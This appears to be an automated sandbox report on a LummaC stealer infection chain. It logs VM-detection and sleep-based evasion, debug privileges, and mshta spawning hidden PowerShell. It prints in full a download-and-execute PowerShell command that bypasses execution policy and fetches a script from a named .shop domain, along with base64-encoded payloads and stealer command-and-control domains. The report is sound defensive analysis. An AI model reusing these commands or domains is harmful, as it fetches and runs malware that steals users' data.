Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion
barindex
Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController
Query firmware table information (likely to detect VMs)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe System information queried: FirmwareTableInformation Jump to behavior
Contains long sleeps (>= 3 min)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 3317 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 452 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 4417 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 5369 Jump to behavior
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4156 Thread sleep time: -1844674407370954s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4900 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2940 Thread sleep time: -19369081277395017s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6432 Thread sleep time: -180000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6432 Thread sleep time: -30000s >= -30000s Jump to behavior
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4_2_07232920 GetSystemInfo, 4_2_07232920
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: powershell.exe, 0000000A.00000002.2615868252.0000000004F0F000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: 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
Source: powershell.exe, 00000002.00000002.2171562645.0000000007B4F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}=
Source: powershell.exe, 0000000A.00000002.2609507490.00000000029AC000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2611019468.00000000029DB000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW
Source: powershell.exe, 0000000A.00000002.2611019468.00000000029DB000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAWj
Source: powershell.exe, 00000004.00000002.2511388089.00000000077FB000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information queried: ProcessInformation Jump to behavior
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_0043E9F0 LdrInitializeThunk, 10_2_0043E9F0
Enables debug privileges
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
Yara detected Powershell download and execute
Source: Yara match File source: amsi32_1600.amsi.csv, type: OTHER
Source: Yara match File source: amsi32_2104.amsi.csv, type: OTHER
Source: Yara match File source: Process Memory Space: powershell.exe PID: 1600, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: powershell.exe PID: 2104, type: MEMORYSTR
Bypasses PowerShell execution policy
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://e1.foiloverturnarrival.shop/5c85i3vbf.vdf'))"
Encrypted powershell cmdline option found
Source: C:\Windows\SysWOW64\mshta.exe Process created: Base64 decoded $OeA6ZG97ZDb7RhilmF49ZV2BnnuCvb6X9rWd1B6Eb7m9x9yovTdsk7xUKNlM0IXOO5YfTTsfNCBB1UFTvZ8dxkRCk2BgbFqWJFgd5iZ3VPV5vC2D6Z726et3L3hDBuTRExf90ffbWrR5U8VUTUhiWPYeyR8qztS4RQGJDW2sLiqvglSGqI15vNKVCXyQfSvqOna0DVkba3BqT2Hs90KOu3X4GC6RzbuWfYCAGXHUPMgoCsRFoyjufwTlbvm7Cw3chQOosuMatc5CwkYcdZacJ7gIPlWtoSktD96eMcnXhyZ5yyDEr9jQjqJj8Ne4fxGizNyFAEeMZW03SZZgvQYjmrtUWL7k7Ydp4LlNox1C8QbfOYoRvWrxSKAZ3iiZrMxLdgxYbabG1jk2wwVjEayNlB4y3yY2eOLEDRBKWUNfdnlRN3EH1ahbW5PJyXLZlYoIsfFgCfni5gkG19vqCmLEiuELfmxsFKo7Licde8A57VjySFcolJ9rdNOPJfVM9zoAYqutZ6qqDZWr2tAznJUaHaJdWZyYfmzJJ456ZrgpsDsCvIwscFAm6VHaTh7uLZonclBTYmRQpXYnDUCbomVRLbtS9wnfVJQNIJgmYGpyOFOZ6fPEMBS9ogbHHrwfqSRH6Nba8fFkRgGyev0xq11UOhV4hR6X1g39kS7ATYDHhe3tH6BdrTCHc6N2adkcuxhteoRe6afz5UDnbgNQK9rBK2euf7rrbX5zDpr8bTDNMYaZzrG237snzZNHNUsHbtxTu0j1YIfbZOrs9lJqNcyVxki2THTxB5Z7JAMwy9Bl5QcWNAkz4dQbpweh3wQZFR0dKGoJn = $fALse$50sD4Ns3oM0rPE34WJoDB5txgKNd2ppm8U3VD6gntnuUaBhRKIR6CYMtm9cAPVyelKD2ICAd6d4EsQEE7A0ziwY9kr0SN4h1vyxQYQiG0ScNwQLrNQtP2SCsvtwkcE1i4PRMrGGgfy13zUf5d3fzOmMMOKZBKKdaS0UX9VXXT3tc0OTCSJJl8ZtXivSuB4Q04CWQTT56AjR2MwWoUNZncJJnYIN8JQO7Khq2Z770c6NzHcjns5C4VQ0arcp5ZCOcKhOxyACTEKpeUlLsQbOF1V0Brs6QoegeZYoWIbVwMIJCxKOn63iNmE6aMnGN0U73OxHPFGScmZeyajIlwFlWDmy0jFBZhydEshTwzeiM7c4keoSZ8u8ukjTu0vPoHSz1deY3UNmmbswjiOPnjm0b62A1YXHtRqZ9BNyzjPaiy4k8Hg0QEK5ueneaMNXj6wwL2iH3v3otmRVrxtHzeM16WrS5GdTNxxarRvzgiWY7cmfFcRu1yB61P63yHIRlEqPJFZ3f9zhwYgG3bBHq4GjrCknRpOkmKN1PVwSPgCOnpKxXLFJsIqJoTLKasC1hIuNJoahPQaM7MTStz7LzIZ4GofPErUuQ8o2WeRnCF6SGP66vm9NtrFsz7S0DJFqqzEqxZwh
Source: C:\Windows\SysWOW64\mshta.exe Process created: Base64 decoded $OeA6ZG97ZDb7RhilmF49ZV2BnnuCvb6X9rWd1B6Eb7m9x9yovTdsk7xUKNlM0IXOO5YfTTsfNCBB1UFTvZ8dxkRCk2BgbFqWJFgd5iZ3VPV5vC2D6Z726et3L3hDBuTRExf90ffbWrR5U8VUTUhiWPYeyR8qztS4RQGJDW2sLiqvglSGqI15vNKVCXyQfSvqOna0DVkba3BqT2Hs90KOu3X4GC6RzbuWfYCAGXHUPMgoCsRFoyjufwTlbvm7Cw3chQOosuMatc5CwkYcdZacJ7gIPlWtoSktD96eMcnXhyZ5yyDEr9jQjqJj8Ne4fxGizNyFAEeMZW03SZZgvQYjmrtUWL7k7Ydp4LlNox1C8QbfOYoRvWrxSKAZ3iiZrMxLdgxYbabG1jk2wwVjEayNlB4y3yY2eOLEDRBKWUNfdnlRN3EH1ahbW5PJyXLZlYoIsfFgCfni5gkG19vqCmLEiuELfmxsFKo7Licde8A57VjySFcolJ9rdNOPJfVM9zoAYqutZ6qqDZWr2tAznJUaHaJdWZyYfmzJJ456ZrgpsDsCvIwscFAm6VHaTh7uLZonclBTYmRQpXYnDUCbomVRLbtS9wnfVJQNIJgmYGpyOFOZ6fPEMBS9ogbHHrwfqSRH6Nba8fFkRgGyev0xq11UOhV4hR6X1g39kS7ATYDHhe3tH6BdrTCHc6N2adkcuxhteoRe6afz5UDnbgNQK9rBK2euf7rrbX5zDpr8bTDNMYaZzrG237snzZNHNUsHbtxTu0j1YIfbZOrs9lJqNcyVxki2THTxB5Z7JAMwy9Bl5QcWNAkz4dQbpweh3wQZFR0dKGoJn = $fALse$50sD4Ns3oM0rPE34WJoDB5txgKNd2ppm8U3VD6gntnuUaBhRKIR6CYMtm9cAPVyelKD2ICAd6d4EsQEE7A0ziwY9kr0SN4h1vyxQYQiG0ScNwQLrNQtP2SCsvtwkcE1i4PRMrGGgfy13zUf5d3fzOmMMOKZBKKdaS0UX9VXXT3tc0OTCSJJl8ZtXivSuB4Q04CWQTT56AjR2MwWoUNZncJJnYIN8JQO7Khq2Z770c6NzHcjns5C4VQ0arcp5ZCOcKhOxyACTEKpeUlLsQbOF1V0Brs6QoegeZYoWIbVwMIJCxKOn63iNmE6aMnGN0U73OxHPFGScmZeyajIlwFlWDmy0jFBZhydEshTwzeiM7c4keoSZ8u8ukjTu0vPoHSz1deY3UNmmbswjiOPnjm0b62A1YXHtRqZ9BNyzjPaiy4k8Hg0QEK5ueneaMNXj6wwL2iH3v3otmRVrxtHzeM16WrS5GdTNxxarRvzgiWY7cmfFcRu1yB61P63yHIRlEqPJFZ3f9zhwYgG3bBHq4GjrCknRpOkmKN1PVwSPgCOnpKxXLFJsIqJoTLKasC1hIuNJoahPQaM7MTStz7LzIZ4GofPErUuQ8o2WeRnCF6SGP66vm9NtrFsz7S0DJFqqzEqxZwh Jump to behavior
LummaC encrypted strings found
Source: powershell.exe String found in binary or memory: growthselec.bond
Source: powershell.exe String found in binary or memory: immolatechallen.bond
Source: powershell.exe String found in binary or memory: crookedfoshe.bond
Source: powershell.exe String found in binary or memory: strivehelpeu.bond
Source: powershell.exe String found in binary or memory: idealizetreez.shop
Creates a process in suspended mode (likely to inject code)
Source: C:\Windows\SysWOW64\mshta.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -Enc JABPAGUAQQA2AFoARwA5ADcAWgBEAGIANwBSAGgAaQBsAG0ARgA0ADkAWgBWADIAQgBuAG4AdQBDAHYAYgA2AFgAOQByAFcAZAAxAEIANgBFAGIANwBtADkAeAA5AHkAbwB2AFQAZABzAGsANwB4AFUASwBOAGwATQAwAEkAWABPAE8ANQBZAGYAVABUAHMAZgBOAEMAQgBCADEAVQBGAFQAdgBaADgAZAB4AGsAUgBDAGsAMgBCAGcAYgBGAHEAVwBKAEYAZwBkADUAaQBaADMAVgBQAFYANQB2AEMAMgBEADYAWgA3ADIANgBlAHQAMwBMADMAaABEAEIAdQBUAFIARQB4AGYAOQAwAGYAZgBiAFcAcgBSADUAVQA4AFYAVQBUAFUAaABpAFcAUABZAGUAeQBSADgAcQB6AHQAUwA0AFIAUQBHAEoARABXADIAcwBMAGkAcQB2AGcAbABTAEcAcQBJADEANQB2AE4ASwBWAEMAWAB5AFEAZgBTAHYAcQBPAG4AYQAwAEQAVgBrAGIAYQAzAEIAcQBUADIASABzADkAMABLAE8AdQAzAFgANABHAEMANgBSAHoAYgB1AFcAZgBZAEMAQQBHAFgASABVAFAATQBnAG8AQwBzAFIARgBvAHkAagB1AGYAdwBUAGwAYgB2AG0ANwBDAHcAMwBjAGgAUQBPAG8AcwB1AE0AYQB0AGMANQBDAHcAawBZAGMAZABaAGEAYwBKADcAZwBJAFAAbABXAHQAbwBTAGsAdABEADkANgBlAE0AYwBuAFgAaAB5AFoANQB5AHkARABFAHIAOQBqAFEAagBxAEoAagA4AE4AZQA0AGYAeABHAGkAegBOAHkARgBBAEUAZQBNAFoAVwAwADMAUwBaAFoAZwB2AFEAWQBqAG0AcgB0AFUAVwBMADcAawA3AFkAZABwADQATABsAE4AbwB4ADEAQwA4AFEAYgBmAE8AWQBvAFIAdgBXAHIAeABTAEsAQQBaADMAaQBpAFoAcgBNAHgATABkAGcAeABZAGIAYQBiAEcAMQBqAGsAMgB3AHcAVgBqAEUAYQB5AE4AbABCADQAeQAzAHkAWQAyAGUATwBMAEUARABSAEIASwBXAFUATgBmAGQAbgBsAFIATgAzAEUASAAxAGEAaABiAFcANQBQAEoAeQBYAEwAWgBsAFkAbwBJAHMAZgBGAGcAQwBmAG4AaQA1AGcAawBHADEAOQB2AHEAQwBtAEwARQBpAHUARQBMAGYAbQB4AHMARgBLAG8ANwBMAGkAYwBkAGUAOABBADUANwBWAGoAeQBTAEYAYwBvAGwASgA5AHIAZABOAE8AUABKAGYAVgBNADkAegBvAEEAWQBxAHUAdABaADYAcQBxAEQAWgBXAHIAMgB0AEEAegBuAEoAVQBhAEgAYQBKAGQAVwBaAHkAWQBmAG0AegBKAEoANAA1ADYAWgByAGcAcABzAEQAcwBDAHYASQB3AHMAYwBGAEEAbQA2AFYASABhAFQAaAA3AHUATABaAG8AbgBjAGwAQgBUAFkAbQBSAFEAcABYAFkAbgBEAFUAQwBiAG8AbQBWAFIATABiAHQAUwA5AHcAbgBmAFYASgBRAE4ASQBKAGcAbQBZAEcAcAB5AE8ARgBPAFoANgBmAFAARQBNAEIAUwA5AG8AZwBiAEgASAByAHcAZgBxAFMAUgBIADYATgBiAGEAOABmAEYAawBSAGcARwB5AGUAdgAwAHgAcQAxADEAVQBPAGgAVgA0AGgAUgA2AFgAMQBnADMAOQBrAFMANwBBAFQAWQBEAEgAaABlADMAdABIADYAQgBkAHIAVABDAEgAYwA2AE4AMgBhAGQAawBjAHUAeABoAHQAZQBvAFIAZQA2AGEAZgB6ADUAVQBEAG4AYgBnAE4AUQBLADkAcgBCAEsAMgBlAHUAZgA3AHIAcgBiAFgANQB6AEQAcAByADgAYgBUAEQATgBNAFkAYQBaAHoAcgBHADIAMwA3AHMAbgB6AFoATgBIAE4AVQBzAEgAYgB0AHgAVAB1ADAAagAxAFkASQBmAGIAWgBPAHIAcwA5AGwASgBxAE4AYwB5AFYAeABrAGkAMgBUAEgAVAB4AEIANQBaADcASgBBAE0AdwB5ADkAQgBsADUAUQBjAFcATgBBAGsAegA0AGQAUQBiAHAAdwBlAGgAMwB3AFEAWgBGAFIAMABkAEsARwBvAEoAbgAgAD0AIAAkAGYAQQBMAHMAZQANAAoAJAA1ADAAcwBEADQATgBzADMAbwBNADAAcgBQAEUAMwA0AFcASgBvAEQAQgA1AHQAeABnAEsATgBkADIAcABwAG0AOABVADMAVgBEADYAZwBuAHQAbgB1AFUAYQBCAGgAUgBLAEkAUgA2AEMAWQBNAHQAbQA5AGMAQQBQAFYAeQBlAGwASwBEADIASQBDAEEAZAA2AGQANABFAHMAUQBFAEUANwBBADAAegBpAHcAWQA5AGsAcgAwAFMATgA0AGgAMQB2AHkAeABRAFkAUQBpAEcAMABTAGMATgB3AFEATAByAE4AUQB0AFAAMgBTAEMAcwB2AHQAdwBrAGMARQAxAGkANABQAFIATQByAEcARwBnAGYAeQAxADMAegBVAGYANQBkADMAZgB6AE8AbQBNAE0ATwBLAFoAQgBLAEsAZABhAFMAMABVAFgAOQBWAFgAWABUADMAdABjADAATwBUAEMAUwBKAEoAbAA4AFoAdABYAGkAdgBTAHUAQgA0AFEAMAA0AEMAVwBRAFQAVAA1ADYAQQBqAFIAMgBNAHcAVwBvAFUATgBaAG4AYwBKAEoAbgBZAEkATgA4AEoAUQBPADcASwBoAHEA Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://e1.foiloverturnarrival.shop/5c85i3vbf.vdf'))" Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" Jump to behavior
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Source: C:\Windows\SysWOW64\mshta.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -w 1 -enc jabpaguaqqa2afoarwa5adcawgbeagianwbsaggaaqbsag0arga0adkawgbwadiaqgbuag4adqbdahyayga2afgaoqbyafcazaaxaeiangbfagianwbtadkaeaa5ahkabwb2afqazabzagsanwb4afuaswboagwatqawaekawabpae8anqbzagyavabuahmazgboaemaqgbcadeavqbgafqadgbaadgazab4agsaugbdagsamgbcagcaygbgaheavwbkaeyazwbkaduaaqbaadmavgbqafyanqb2aemamgbeadyawga3adiangblahqamwbmadmaaabeaeiadqbuafiarqb4agyaoqawagyazgbiafcacgbsaduavqa4afyavqbuafuaaabpafcauabzaguaeqbsadgacqb6ahqauwa0afiauqbhaeoarabxadiacwbmagkacqb2agcababtaecacqbjadeanqb2ae4aswbwaemawab5afeazgbtahyacqbpag4ayqawaeqavgbragiayqazaeiacqbuadiasabzadkamablae8adqazafganabhaemangbsahoaygb1afcazgbzaemaqqbhafgasabvafaatqbnag8aqwbzafiargbvahkaagb1agyadwbuagwaygb2ag0anwbdahcamwbjaggauqbpag8acwb1ae0ayqb0agmanqbdahcaawbzagmazabaageaywbkadcazwbjafaababxahqabwbtagsadabeadkangblae0aywbuafgaaab5afoanqb5ahkarabfahiaoqbqafeaagbxaeoaaga4ae4azqa0agyaeabhagkaegboahkargbbaeuazqbnafoavwawadmauwbaafoazwb2afeawqbqag0acgb0afuavwbmadcaawa3afkazabwadqatabsae4abwb4adeaqwa4afeaygbmae8awqbvafiadgbxahiaeabtaesaqqbaadmaaqbpafoacgbnahgatabkagcaeabzagiayqbiaecamqbqagsamgb3ahcavgbqaeuayqb5ae4ababcadqaeqazahkawqayaguatwbmaeuarabsaeiaswbxafuatgbmagqabgbsafiatgazaeuasaaxageaaabiafcanqbqaeoaeqbyaewawgbsafkabwbjahmazgbgagcaqwbmag4aaqa1agcaawbhadeaoqb2aheaqwbtaewarqbpahuarqbmagyabqb4ahmargblag8anwbmagkaywbkaguaoabbaduanwbwagoaeqbtaeyaywbvagwasga5ahiazaboae8auabkagyavgbnadkaegbvaeeawqbxahuadabaadyacqbxaeqawgbxahiamgb0aeeaegbuaeoavqbhaegayqbkagqavwbaahkawqbmag0aegbkaeoanaa1adyawgbyagcacabzaeqacwbdahyasqb3ahmaywbgaeeabqa2afyasabhafqaaaa3ahuatabaag8abgbjagwaqgbuafkabqbsafeacabyafkabgbeafuaqwbiag8abqbwafiatabiahqauwa5ahcabgbmafyasgbrae4asqbkagcabqbzaecacab5ae8argbpafoangbmafaarqbnaeiauwa5ag8azwbiaegasabyahcazgbxafmaugbiadyatgbiageaoabmaeyaawbsagcarwb5aguadgawahgacqaxadeavqbpaggavga0aggauga2afgamqbnadmaoqbrafmanwbbafqawqbeaegaaabladmadabiadyaqgbkahiavabdaegaywa2ae4amgbhagqaawbjahuaeaboahqazqbvafiazqa2ageazgb6aduavqbeag4aygbnae4auqbladkacgbcaesamgblahuazga3ahiacgbiafganqb6aeqaca